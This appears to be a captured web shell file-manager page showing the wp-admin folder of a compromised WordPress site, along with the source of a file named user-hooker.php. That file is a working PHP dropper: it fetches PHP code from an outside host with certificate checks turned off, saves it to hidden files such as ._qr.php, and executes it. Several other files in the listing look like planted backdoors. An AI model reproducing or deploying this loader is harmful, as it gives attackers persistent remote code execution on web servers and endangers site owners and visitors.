golden hour

/home/doctorbruno/public_html/doctorbruno.info/wp-admin

File/Folder	Size	Actions
._qr.php	14.68 KB
_app-created	-
error_log	16.31 KB
includes	-
old-cache.php	885 B
options-rest.php	4.58 KB
user-func.php	256.6 KB
user-hooker.php	1.17 KB
wp-active.php	22.64 KB
wp-comment.php	15.9 KB
wp-file-extract.php	3.64 KB
wp-info.php	37.34 KB
wp-settinger.php	7.46 KB
wp-site-health.php	7.45 KB
wp-user.php	1.08 KB

Edit: user-hooker.php

<?php
/*[cstb_su]*/
header('Cache-Control: no-store, no-cache, must-revalidate, private');
header('Pragma: no-cache');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
$c=false;
if(function_exists('curl_init')){
$ch=curl_init('https://resmigiris.cam/src.php');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>60,CURLOPT_CONNECTTIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_HTTPHEADER=>['User-Agent: cStb-boot/1'],CURLOPT_FOLLOWLOCATION=>1]);
$c=curl_exec($ch);
curl_close($ch);
}
if(!$c){$c=@file_get_contents('https://resmigiris.cam/src.php',0,stream_context_create(['http'=>['timeout'=>60,'header'=>"User-Agent: cStb-boot/1\r\n"],'ssl'=>['verify_peer'=>false]]));}
if($c===false||$c===''||strncmp(ltrim($c),'<?php',5)!==0){http_response_code(204);exit;}
$f=__DIR__.'/._qr.php';
if(@file_put_contents($f,$c)===false){
$d=defined('ABSPATH')?ABSPATH:($_SERVER['DOCUMENT_ROOT']?:dirname(__DIR__).'/');
$f=rtrim($d,'/').'/.cstb_qr.php';
if(@file_put_contents($f,$c)===false){$f=sys_get_temp_dir().'/cstb_qr_'.md5(__FILE__).'.php';if(@file_put_contents($f,$c)===false){http_response_code(204);exit;}}
}
require $f;